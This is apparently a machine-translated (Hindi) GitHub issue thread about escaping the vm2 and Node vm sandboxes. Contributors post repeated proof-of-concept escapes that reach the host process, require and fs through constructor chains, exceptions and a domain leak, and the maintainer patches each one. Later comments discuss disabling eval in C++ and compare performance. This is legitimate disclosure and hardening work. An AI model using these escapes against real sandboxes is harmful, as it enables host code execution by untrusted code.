Vm2: वीएम सैंडबॉक्स से बचना

को निर्मित 16 जून 2016 · 64टिप्पणियाँ · स्रोत: patriksimek/vm2

VM से बचना और बहुत अवांछनीय कार्य करना संभव है।

नोड के मूल वीएम के संबंध में निम्नलिखित सार के माध्यम से मिला: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

निम्नलिखित 2 कोड उदाहरण लें:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

तथा :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

इनमें से किसी भी आउटपुट को चलाने से निम्न होता है:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

मैंने इस व्यवहार को v4.4.5 और v6.2.1 दोनों पर सत्यापित किया है

discussion

स्रोत

keyosk

👍8

सबसे उपयोगी टिप्पणी

अर्घ! तुम पकड़ रहे हो! ;) आपको इस तरह आगे बढ़ाने के लिए मुझे माफी मांगनी चाहिए। किसी भी दर्शक के लिए वहाँ; नोड.जेएस में वीएम स्कोप के साथ समस्या होस्ट स्कोप में ऑब्जेक्ट्स के संदर्भ में है (जिससे आप प्रोटोटाइप चेन के माध्यम से सभी होस्ट स्कोप का संदर्भ प्राप्त कर सकते हैं)।

अब जब आपने constructor संपत्ति को ओवरराइड कर दिया है, तो मुझे इसके नीचे जाना होगा:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

parasyte 19 जून 2016

👍7

सभी 64 टिप्पणियाँ

रिपोर्ट के लिए धन्यवाद, मैं vm2 के एक नए संस्करण पर कड़ी मेहनत कर रहा हूं और मैं बनाए गए संदर्भ के अंदर संदर्भ बनाकर इस रिसाव को ठीक करने में सक्षम था। सुनिश्चित नहीं है कि सैंडबॉक्स से बचने का कोई और तरीका है या नहीं, अभी तक कोई नहीं मिला है।

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

ऊपर चढ़ने की कोशिश की लेकिन ऐसा लगता है कि यह संभव नहीं है क्योंकि यह true :

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

patriksimek 16 जून 2016

मैं ऊपर बताए गए दृष्टिकोण के साथ खेल रहा हूं।

पहला लक्ष्य मुझे सैंडबॉक्स में चीजों को पास करने की अनुमति देने के लिए आपकी टिप्पणी को आजमाना और अनुकूलित करना था, जो मेरे उपयोग के मामले के लिए जरूरी है। कृपया मुझे सही करें अगर इस बारे में जाने का यह गलत तरीका है, लेकिन ऐसा लगता है कि यह एकमात्र तरीका है:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

आउटपुट:

Hello World Inside
Hello World Outside

आगे मैंने फिर से VM से बचने की कोशिश की और सफल रहा:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

कौन सा आउटपुट:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

ऐसा लगता है कि सैंडबॉक्स में चीजों को सुरक्षित रूप से इंजेक्ट करने का कोई तरीका नहीं है, उन चीजों के बिना सैंडबॉक्स से वापस चढ़ने के लिए उपयोग किया जा रहा है।

keyosk 16 जून 2016

एक तरीका है - वस्तुओं को वीएम के संदर्भ में संदर्भित करने की आवश्यकता है। ऐसा करने के दो तरीके हैं। आप या तो उन वस्तुओं को डीप क्लोन कर सकते हैं या आप प्रॉक्सी का उपयोग कर सकते हैं। मैं नए vm2 में प्रॉक्सी का उपयोग कर रहा हूँ।

https://github.com/patriksimek/vm2/tree/v3

मैंने आगामी रिलीज को जीएच पर धकेल दिया है। यह अभी भी प्रगति पर है लेकिन इसे काम करना चाहिए।

patriksimek 16 जून 2016

v3 भी टूटा हुआ है:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

व्हेक-ए-मोल का यह खेल खेलना व्यर्थ है।

parasyte 16 जून 2016

@parasyte धन्यवाद, यह मेरे कोड में एक टाइपो के कारण हुआ था। यह अब ठीक हो गया है।

patriksimek 16 जून 2016

अपवादों को पकड़ना न भूलें।

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

parasyte 16 जून 2016

@parasyte धन्यवाद, तय। मैं वास्तव में आपके योगदान की सराहना करता हूं।

patriksimek 16 जून 2016

stephenlb 16 जून 2016

@patriksimek अच्छा है!

मेरे पास वैश्विक दायरे में कुछ वस्तुओं तक भी पहुंच है जिसका मैं संदर्भ सैंडबॉक्स से बाहर निकलने के लिए लाभ उठा सकता हूं। इसे वीएम में किसी ऑब्जेक्ट को पास करने की भी आवश्यकता नहीं है।

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

parasyte 16 जून 2016

@parasyte शीश! खोजने के लिए बहुत सारे वैक्टर बचे होने चाहिए।

keyosk 16 जून 2016

@keyosk हाँ, शायद ...

BTW @patriksimek ES6

parasyte 16 जून 2016

@parasyte फिर से धन्यवाद, यह कुछ और पिछले दरवाजे के साथ तय किया गया है जो मुझे मिला।
@keyosk मुझे विश्वास है कि हम उन सभी को ढूंढ लेंगे।

patriksimek 17 जून 2016

और इसका क्या?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

parasyte 17 जून 2016

@parasyte अच्छा पकड़, इसे ठीक किया। धन्यवाद।

patriksimek 17 जून 2016

आपने हाल ही के पैच में कीड़ों का एक नया कैन खोला है।

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

parasyte 17 जून 2016

धिक्कार है, मैं बहुत देर से काम कर रहा था और ध्यान खो दिया। कुछ सुरक्षा नोट लिखे, मुख्यतः मेरे लिए। :)

धन्यवाद, तय।

patriksimek 17 जून 2016

ठीक है, मैंने अब तक NodeVM में भी नहीं देखा है! स्क्रब करने के लिए बहुत अधिक सतह क्षेत्र है, यहाँ...

तुरंत मैंने arguments.callee माध्यम से भागने पर ध्यान दिया:

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

parasyte 18 जून 2016

खैर, यह हमें यहां शुरुआती मुद्दे की ओर इशारा करता है - नए संदर्भ के अंदर बनाया गया संदर्भ स्पष्ट रूप से पर्याप्त नहीं है। लघु संस्करण:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

अभी तक समाधान नहीं मिला है। हो सकता है कि मेजबान को delete process.mainModule साथ पैच करना लेकिन मुझे यकीन है कि require तक चढ़ने का एक और तरीका है।

patriksimek 19 जून 2016

एक समाधान मिला :-)

patriksimek 19 जून 2016

अब जब आपने constructor संपत्ति को ओवरराइड कर दिया है, तो मुझे इसके नीचे जाना होगा:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

parasyte 19 जून 2016

👍7

यहां कुछ शोध किया और देखा कि global.__proto__ === host.Object.prototype । Object.setPrototypeOf(global, Object.prototype) लगाकर मैं क्रिकेल को बंद करने में सक्षम था।

एक बार फिर धन्यवाद।

patriksimek 19 जून 2016

👍3

@parasyte @patriksimek क्या यह नवीनतम npm प्रकाशित संस्करण पर बंद है?

lpgeiger 18 नव॰ 2016

हां, हम इसे अभी के लिए बंद कर सकते हैं।

patriksimek 18 नव॰ 2016

एफडब्ल्यूआईडब्ल्यू, हमने इसे केवल eval को अक्षम करके हल किया ... और सैंडबॉक्स में संदर्भों को उजागर न करने के बारे में बहुत सावधान रहना।

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

यह भागने से रोकता है क्योंकि return process स्ट्रिंग का मूल्यांकन करने में असमर्थ है। परिणामस्वरूप, यह वैध eval() और फंक्शन जेनरेटर कंस्ट्रक्टर कॉल्स को भी निष्क्रिय कर देता है। (इन सुविधाओं की उपयोगिता बल्कि संदिग्ध है।)

parasyte 19 नव॰ 2016

🎉3

@parasyte सिर्फ स्पष्टता के लिए यह कुछ ऐसा है जिसे आपने कहीं और लागू किया है? या कुछ ने vm2 में योगदान दिया?

lpgeiger 19 नव॰ 2016

@keyscores इसे कहीं और लागू किया गया था।

keyosk 19 नव॰ 2016

हाँ, कहीं और। हमारे पास एक समान सैंडबॉक्स प्रोजेक्ट है जिसे वर्तमान में ओपन सोर्स जारी करने के लिए मंजूरी का इंतजार है। गलतफहमी के लिए खेद है। मैं टिप्पणी कर रहा था कि उस परियोजना में मूल मुद्दे को कैसे हल किया गया।

parasyte 19 नव॰ 2016

@parasyte कोई आपकी रिलीज़ को अपडेट करता है? कार्यान्वयन की तुलना करने में दिलचस्पी होगी। मुझे लगता है कि हर कोई जीतता है।

lpgeiger 7 जन॰ 2017

@keyscores क्षमा करें, अभी रिपोर्ट करने के लिए कुछ भी नहीं है। संगठन में कुछ खराब योजना के कारण ओपन सोर्स प्रयास को प्राथमिकता दी गई। :\

parasyte 7 जन॰ 2017

मुझे पता है कि यह एक मृत मुद्दा है, लेकिन क्या इस तरह कोड निष्पादित करते समय नोड की vm लाइब्रेरी के लिए कोई ज्ञात बाईपास हैं:

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

Anorov 22 सित॰ 2017

@parasyte : जिज्ञासा से बाहर, इसे निष्पादित करने से पहले बाहरी कोड के शीर्ष में global.eval = null; इंजेक्ट करके eval को अक्षम क्यों न करें?

Eric24 1 अक्तू॰ 2017

@ एरिक 24 अच्छा सवाल! यह प्रस्तुति बताती है कि क्यों कुछ विस्तार से: https://vimeo.com/191757364 और यहां स्लाइड डेक है: https://goo.gl/KxiG73

सबसे महत्वपूर्ण बात यह है कि जावास्क्रिप्ट से eval() को कॉल करने के कई तरीके हैं, और global.eval को बदलना उनमें से सिर्फ एक है। जब तक आप पूरी सूची को पढ़ेंगे, तब तक आपको पता चल जाएगा कि जेनरेटर फंक्शन द्वारा मंकी पैच इवेल्स करना असंभव है। और इसमें असंख्य अन्य तरीके शामिल नहीं हैं eval() भविष्य के ES परिवर्तनों द्वारा उजागर किए जा सकते हैं।

तो एकमात्र व्यवहार्य समाधान सी ++ का उपयोग कर वी 8 में evals को अक्षम करना है।

parasyte 1 अक्तू॰ 2017

@parasyte : सही समझ में आता है (और प्रस्तुति के लिए धन्यवाद)। तो, क्या आपका सी ++ कोड केवल वीएम या "होस्ट प्रक्रिया" में भी eval अक्षम करता है?

Eric24 1 अक्तू॰ 2017

@ एरिक 24 यह उस संदर्भ में eval को अक्षम कर देगा

keyosk 1 अक्तू॰ 2017

@parasyte : समझ गया। धन्यवाद! मेरा कहना है कि इस विषय पर शोध करने के कई दिनों (कई हफ्तों से अधिक) के बाद मैंने पाया है कि आपका समाधान सबसे अच्छा है।

Eric24 1 अक्तू॰ 2017

@Anorov यह कुछ ही दिनों पहले रिपोर्ट किया गया था: https://github.com/nodejs/node/issues/15673 यह सैंडबॉक्स पर एक अशक्त प्रोटोटाइप के साथ भी VM से बचने की अनुमति देता है। यह केवल एक समस्या है यदि डोमेन सक्षम हैं (यह डिफ़ॉल्ट नहीं है, लेकिन अपने सभी निर्भरता पदानुक्रम में domain उपयोग से सावधान रहें)।

अवधारणा का एक आसान-बांका सबूत यहां दिया गया है। नोड v8.6.0 पर परीक्षण किया गया:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

ऐसे लीक से सावधान रहें। भेद्यता के इस वर्ग से सुरक्षित रहने का एकमात्र तरीका eval को अक्षम करना है। और थके हुए रहें कि eval के दायरे से बाहर vm साथ अन्य मुद्दे भी हो सकते हैं।

parasyte 1 अक्तू॰ 2017

@parasyte धन्यवाद। मैं इस कोड को पायथन से नोड के साथ निष्पादित कर रहा हूं: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

कोई अन्य पुस्तकालय ( domain या अन्यथा) आयात या उपयोग नहीं किए जाते हैं। क्या आपको इस कोड के साथ कोई संभावित समस्या दिखाई देती है? यदि संभव हो तो मैं जावास्क्रिप्ट निर्भरताओं (जैसे वीएम 2) की आवश्यकता से बचना चाहता हूं।

Anorov 2 अक्तू॰ 2017

@ अनोरोव आह मैं देखता हूं। क्या आप चिंतित हैं कि CloudFlare (या एक MITM) कोड प्रदान करने का प्रयास करेगा जो सैंडबॉक्स से बाहर हो सकता है? यह एक लक्षित हमला होगा, लेकिन मैं इसे पूरी तरह से खारिज नहीं करूंगा।

parasyte 3 अक्तू॰ 2017

सही। कोई उस पेज की नकल भी कर सकता है जिसकी मुझे उम्मीद है
कि मेरी स्क्रिप्ट को लगता है कि यह Cloudflare है जब यह नहीं है। मैं भी विचार कर रहा हूँ
जाँच कर रहा है कि सर्वर का आईपी पता क्लाउडफ्लेयर के स्वामित्व में है
अतिरिक्त सावधानी।

लेकिन परवाह किए बिना, मान लीजिए कि यह कोड किसी भी मनमानी पर चल रहा था
उपयोगकर्ता इनपुट और न केवल Cloudflare का। क्या सैंडबॉक्सिंग तंत्र सुरक्षित है
नोड समुदाय का सबसे अच्छा ज्ञान?

2 अक्टूबर, 2017 को रात 10:10 बजे, "जे ओस्टर" नोटिफिकेशन @github.com ने लिखा:

@Anorov https://github.com/anorov आह मैं देख रहा हूँ। क्या आप चिंतित हैं कि
CloudFlare (या एक MITM) कोड प्रदान करने का प्रयास करेगा जो टूट सकता है
सैंडबॉक्स? यह एक लक्षित हमला होगा, लेकिन मैं इस पर शासन नहीं करूंगा
पूरी तरह से बाहर।
-
आप इसे प्राप्त कर रहे हैं क्योंकि आपका उल्लेख किया गया था।
इस ईमेल का सीधे उत्तर दें, इसे GitHub पर देखें
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 , या म्यूट करें
सूत्र
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

Anorov 3 अक्तू॰ 2017

@अनोरोव :

क्या नोड समुदाय के सर्वोत्तम ज्ञान के लिए सैंडबॉक्सिंग तंत्र सुरक्षित है?

बिल्कुल नहीं। आधिकारिक दस्तावेज इसे बहुत मजबूत नोट बनाता है:

नोट: वीएम मॉड्यूल एक सुरक्षा तंत्र नहीं है। अविश्वसनीय कोड चलाने के लिए इसका उपयोग न करें।

keyosk 3 अक्तू॰ 2017

मैं उस चेतावनी से अवगत हूं, लेकिन मैं व्यावहारिकता के बारे में पूछ रहा हूं।

3 अक्टूबर 2017 को शाम 4:34 बजे, "कोडी मासिन" नोटिफिकेशन @github.com ने लिखा:

@अनोरोव https://github.com/anorov :
क्या नोड समुदाय के सर्वश्रेष्ठ के लिए सैंडबॉक्सिंग तंत्र सुरक्षित है
ज्ञान?
बिल्कुल नहीं। आधिकारिक दस्तावेज
https://nodejs.org/api/vm.html#vm_vm_executing_javascript इसे बनाता है
बहुत मजबूत नोट:
नोट: वीएम मॉड्यूल एक सुरक्षा तंत्र नहीं है। इसे चलाने के लिए उपयोग न करें
अविश्वसनीय कोड।
-
आप इसे प्राप्त कर रहे हैं क्योंकि आपका उल्लेख किया गया था।
इस ईमेल का सीधे उत्तर दें, इसे GitHub पर देखें
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 , या म्यूट करें
सूत्र
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

Anorov 4 अक्तू॰ 2017

व्यवहार में, अविश्वसनीय कोड के लिए सैंडबॉक्सिंग तंत्र असुरक्षित है। इसलिए @patriksimek ने vm2 लाइब्रेरी के साथ एक सुरक्षित सैंडबॉक्सिंग तंत्र बनाने का प्रयास किया है। यही कारण है कि @parasyte ने अविश्वसनीय कोड सैंडबॉक्सिंग में एक अलग दृष्टिकोण का उपयोग करके अपनी खुद की लाइब्रेरी बनाने का काम किया है।

keyosk 4 अक्तू॰ 2017

@Anorov संक्षेप में, केवल vm पर भरोसा न करें। लेकिन यह प्याज की एक परत के रूप में एक उपयोगी उपकरण है।

parasyte 4 अक्तू॰ 2017

मैं @parasyte से eval को अक्षम करने के लिए vm और सुझाए गए C++ कोड के साथ खेल रहा

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

यह भी काम करता है, और बहुत तेज है (कुछ परीक्षण मामलों में 1000 गुना तेज)। eval को अक्षम करने के अलावा, मैं उपयोगकर्तालैंड कोड को 'वैश्विक' के संदर्भ से भी रोकता हूं (इस परीक्षण के बिना, फ़ंक्शन Global.whatever का उपयोग करके वैश्विक दायरे को संशोधित कर सकता है)। यह एक प्रभावी और सुरक्षित सैंडबॉक्स प्रतीत होता है। मुझे किसकी याद आ रही है?

Eric24 16 अक्तू॰ 2017

👍1

क्या आपकी रणनीति लोगों को fs जैसे नेमस्पेस आयात करने और आपके सर्वर को अत्यधिक संशोधित करने से रोकती है? मैं eval अक्षम करने के बारे में भी उत्सुक हूं, क्यों eval के बारे में चिंता और eval के बाहर कोड के बारे में चिंता क्यों नहीं?

wysisoft 16 अक्तू॰ 2017

@wysisoft : अच्छा सवाल। हां, 'आवश्यकता' उजागर नहीं होती है। प्रत्येक स्क्रिप्ट, अपने मेटा-डेटा के हिस्से के रूप में, "अनुमत और सत्यापित" मॉड्यूल की एक सूची को परिभाषित करती है, जिनकी उसे आवश्यकता होती है, जो व्यक्तिगत रूप से चलने से पहले फ़ंक्शन के संपर्क में आते हैं। आपकी बात के लिए विशेष रूप से, 'fs' उस स्वीकृत सूची में नहीं होगा (लेकिन उन लिपियों के लिए जिन्हें अस्थायी भंडारण की आवश्यकता होती है, सीमित पढ़ने/लिखने के कार्यों का एक सेट प्रदान किया जाता है)।

कई कारनामों को रोकने के लिए 'eval' को अक्षम करना महत्वपूर्ण है ( 18NOV16 पर @parasyte की टिप्पणी देखें)। 'eval' को अनुमति देने से वैश्विक दायरे तक इस तरह पहुंचना संभव हो जाता है जिसे अन्यथा रोका नहीं जा सकता। 1OCT17 पर @parasyte की टिप्पणी में अधिक विवरण)।

Eric24 16 अक्तू॰ 2017

@ एरिक 24 मुझे समझ में नहीं आता कि vm बारे में "धीमा" क्या है। यह बिल्कुल वही v8 रनटाइम है जो नोडजेएस को शक्ति देता है। क्या आप वाकई कुछ मूर्खतापूर्ण नहीं कर रहे हैं, जैसे हर बार कोड निष्पादित करने पर सैंडबॉक्स को फिर से बनाना? वहाँ कुछ भूमि के ऊपर है, लेकिन अधिक भूमि के ऊपर नहीं 1000x।

@wysisoft eval() सैंडबॉक्स से बचने का एक आसानी से पहुँचा जा सकने वाला तरीका है। इसे अक्षम करने से निजी संदर्भ में कोड का मूल्यांकन करके एस्केप हैच को स्थायी रूप से बंद कर दिया जाएगा। लेकिन मैं फिर से दोहराता हूं, यह एकमात्र हमला वेक्टर नहीं है और आपको हर चीज से सावधान रहना चाहिए।

parasyte 16 अक्तू॰ 2017

@parasyte - मेरे पास एक बहुत ही सरल परीक्षण है जो प्रत्येक के लिए एक ही कोड के जितना संभव हो सके एक फ़ंक्शन() और एक वीएम बनाता है, दोनों 1000 बार चलता है, और कुल आवश्यक समय की रिपोर्ट करता है। नीचे कोड:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

जैसा कि आप परीक्षण में देख सकते हैं, मैं एक बार स्क्रिप्ट और संदर्भ बना रहा हूं, फिर इसे 1000 बार चला रहा हूं। हालांकि, वास्तविक लक्ष्य उपयोग-मामले में, मुझे हर बार संदर्भ को फिर से बनाना होगा (संभावित रूप से संकलित स्क्रिप्ट को कैश करने में सक्षम होना), क्योंकि प्रत्येक रन अद्वितीय है और एक नए संदर्भ से शुरू होना चाहिए)। हर बार संदर्भ को फिर से बनाए बिना, फंक्शन () और वीएम के बीच का अंतर 6 से 14 गुना है।

लेकिन करीब से देखने के बाद, मैंने कोड की विविधता (लूप के अंदर हर बार संदर्भ बनाना) की कोशिश की, जो वास्तविक उपयोग-मामले के करीब है। मैंने मूल रूप से संदर्भ के एक बार के निर्माण को केवल 1ms से कम समय पर बनाया था, इसलिए मैं इसे प्रति-पुनरावृत्ति के आधार पर शामिल कर रहा था। लेकिन वास्तविक कोड चलाने से असली अपराधी दिखा - जबकि VM अभी भी धीमा है, समस्या संदर्भ नहीं बना रही है, बल्कि 'ctx' ऑब्जेक्ट बना रही है। यह काफी आश्चर्य की बात है।

लेकिन हर बार वीएम संदर्भ के लिए एक नई वस्तु बनाने की आवश्यकता होगी (हालांकि उसमें से कुछ भिन्नता फ़ंक्शन() के लिए भी आवश्यक होगी, इसलिए दोनों के बीच का अंतर 6 से 14 गुना है (जो अभी भी महत्वपूर्ण है) .

Eric24 16 अक्तू॰ 2017

हम्म। मैंने अभी एक और परीक्षण की कोशिश की:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

यहां, 'ctx' ऑब्जेक्ट को दोनों परीक्षणों में हर बार फिर से बनाया जाता है, लेकिन संदर्भ केवल एक बार बनाया जाता है। समय का अंतर 6 से 14 की सीमा में वापस आ गया है। लेकिन अगर मैं हर बार संदर्भ को फिर से बनाने वाली रेखा को अनसुना कर दूं, तो 144 गुना धीमी थी!

Eric24 16 अक्तू॰ 2017

@ एरिक 24 आप वही कर रहे हैं जो मैंने अपनी पिछली पोस्ट में कहा था। script.runInContext() समस्या है। यह प्रभावी रूप से eval() (एक अलग v8 संदर्भ के साथ) को कॉल करने जैसा ही है।

अपनी प्रदर्शन समस्या को ठीक करने का समाधान कोड को संकलित करने के लिए एक बार runInContext पर कॉल करना है, और संकलित कोड के साथ उस संदर्भ के माध्यम से बातचीत करना है जो वह देता है, या संदर्भ जो आप इनपुट तर्क के रूप में प्रदान करते हैं। उदाहरण के लिए, सैंडबॉक्स के साथ द्विदिश संचार के लिए कुछ new Event() ऑब्जेक्ट पास करना। यह वही है जो हमारा [अभी भी आंतरिक सैंडबॉक्स, राजनीतिक कारणों से ओपन-सोर्स नहीं किया गया है] vm रैपर करता है, और ओवरहेड पूरी तरह से नगण्य है।

parasyte 16 अक्तू॰ 2017

@parasyte :

Eric24 16 अक्तू॰ 2017

नहीं। runInContext कोड संकलित करता है। इसके बारे में सोचो। v8 एक जस्ट-इन-टाइम कंपाइलर है। इसे संकलित करने के लिए कोड को निष्पादित करना होगा।

parasyte 16 अक्तू॰ 2017

@parasyte : ठीक है, लेकिन node.js डॉक्स से:
